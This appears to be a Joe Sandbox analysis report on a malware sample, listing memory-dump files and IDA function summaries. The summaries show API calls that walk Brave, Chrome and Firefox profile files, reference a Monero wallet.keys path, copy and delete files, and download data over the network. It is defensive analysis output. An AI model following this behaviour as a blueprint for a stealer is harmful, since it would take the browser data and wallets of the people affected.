Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: fae6b3186d703393162a27f64682dd15da777337df36ea352a9cf0a140aaa0f2
Instruction ID: ce57c9f4d6f922363c3ace90ba9e71846ecd0aa3459cbf50b695ea1a037f14dc
Opcode Fuzzy Hash: fae6b3186d703393162a27f64682dd15da777337df36ea352a9cf0a140aaa0f2
Instruction Fuzzy Hash: AA4232729102089BDB58FBA4DD96EED737DFF94300F408568B50AD61C1EE349A49CBA3

Function 00804910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0080492C
FindFirstFileA.KERNEL32(?,?), ref: 00804943
StrCmpCA.SHLWAPI(?,00810FDC), ref: 00804971
StrCmpCA.SHLWAPI(?,00810FE0), ref: 00804987
FindNextFileA.KERNEL32(000000FF,?), ref: 00804B7D
FindClose.KERNEL32(000000FF), ref: 00804B92

Strings

%s\*, xrefs: 00804920
%s\%s, xrefs: 008049A4
%s\%s, xrefs: 008049FB

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: ce98520c871692f0608ee63da58596263ee930817a440b66a3b9c69b6096747a
Instruction ID: e827c026880c747ef9688564485416ab5b3b228d97145f9a84d01ca00505a40a
Opcode Fuzzy Hash: ce98520c871692f0608ee63da58596263ee930817a440b66a3b9c69b6096747a
Instruction Fuzzy Hash: 356165B2500218ABCB24EBE4DC49EEA737CFB58700F008598B649D6190EF75DB86CF91

Function 00803EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00803EC3
FindFirstFileA.KERNEL32(?,?), ref: 00803EDA
StrCmpCA.SHLWAPI(?,00810FAC), ref: 00803F08
StrCmpCA.SHLWAPI(?,00810FB0), ref: 00803F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0080406C
FindClose.KERNEL32(000000FF), ref: 00804081

Strings

%s\%s, xrefs: 00803EB7

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9c8344de69390d6e69db6399f656cc3f4965e042761aa69b097b4c9328d92054
Instruction ID: f2e1b8bf03d901ee9067a802ce50cc007079befc2b5daf4f58131c7c42f8a1aa
Opcode Fuzzy Hash: 9c8344de69390d6e69db6399f656cc3f4965e042761aa69b097b4c9328d92054
Instruction Fuzzy Hash: 935125B2900218EBCB64EBB4DC85EEA737CFB54700F404598B799D6180DB75DB868F51

Function 007FF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008115B8,00810D96), ref: 007FF71E
StrCmpCA.SHLWAPI(?,008115BC), ref: 007FF76F
StrCmpCA.SHLWAPI(?,008115C0), ref: 007FF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 007FFAB1
FindClose.KERNEL32(000000FF), ref: 007FFAC3

Strings

prefs.js, xrefs: 007FF812

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 67a843c1df148046b1fd630173144f52e0adeb530f623331409a46ddbfa71da8
Instruction ID: afb2738f64d349911b3a917a990c6b80d9d7e3de6a2a2595c2d5c4a98f1840f6
Opcode Fuzzy Hash: 67a843c1df148046b1fd630173144f52e0adeb530f623331409a46ddbfa71da8
Instruction Fuzzy Hash: 4DB120719002189BDB68EB64DC95FEE7379FF94300F4081A8E54AD62D1EF346B49CB92

Function 007F16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0081510C,?,?,?,008151B4,?,?,00000000,?,00000000), ref: 007F1923
StrCmpCA.SHLWAPI(?,0081525C), ref: 007F1973
StrCmpCA.SHLWAPI(?,00815304), ref: 007F1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007F1D40
DeleteFileA.KERNEL32(00000000), ref: 007F1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 007F1E20
FindClose.KERNEL32(000000FF), ref: 007F1E32

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Strings

\*.*, xrefs: 007F17F1

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 73b7c58253b428246cdb60b5de00d8abd59c268e1a21ca33a54c859121b90683
Instruction ID: ade00f8ba9c85806df10f5fb01e9d5cfcc3f1cd321490f7ee002c3c3ec880a2b
Opcode Fuzzy Hash: 73b7c58253b428246cdb60b5de00d8abd59c268e1a21ca33a54c859121b90683
Instruction Fuzzy Hash: 4C12F0719102189ADB99EB64CC96EEE7378FF54300F4081A9B516E21D1EF346F89CF92

Function 007FDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008114B0,00810C2A), ref: 007FDAEB
StrCmpCA.SHLWAPI(?,008114B4), ref: 007FDB33
StrCmpCA.SHLWAPI(?,008114B8), ref: 007FDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 007FDDCC
FindClose.KERNEL32(000000FF), ref: 007FDDDE

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: fd5ae3071b83a17317cc61e770e613609d310abe428c498e15e54fe5f13ab15c
Instruction ID: e7368fa53a08ee75f3cd7cbf5a104d66527b7e8d6becbc00afdf9e6ad23e96bd
Opcode Fuzzy Hash: fd5ae3071b83a17317cc61e770e613609d310abe428c498e15e54fe5f13ab15c
Instruction Fuzzy Hash: CE9165729002089BDB58FBB4DC9ADFD737DFB94300F408668B956D6181EE349B198B93

Function 007F60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007F4839
Part of subcall function 007F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007F4849

InternetOpenA.WININET(00810DF7,00000001,00000000,00000000,00000000), ref: 007F610F
StrCmpCA.SHLWAPI(?,0135E968), ref: 007F6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 007F618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 007F61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 007F61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 007F620A
CloseHandle.KERNEL32(?,?,00000400), ref: 007F6249
InternetCloseHandle.WININET(?), ref: 007F6253
InternetCloseHandle.WININET(00000000), ref: 007F6260

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 32ee4f3713bade22eac37a1d970f0e30208579c927d1800581f63d7c689d6081
Instruction ID: e44901b80376d056e8f8a2f01f8ddeecce6af5f5eec952275407ee2291d1871c
Opcode Fuzzy Hash: 32ee4f3713bade22eac37a1d970f0e30208579c927d1800581f63d7c689d6081
Instruction Fuzzy Hash: F551407190021CABDB24DF94DC89BEE77B8FB54701F108098B605E72C1DB756A85CF96

Function 00807B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

GetKeyboardLayoutList.USER32(00000000,00000000,008105AF), ref: 00807BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00807BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00807C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00807C62
LocalFree.KERNEL32(00000000), ref: 00807D22

Strings

/ , xrefs: 00807C7F

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
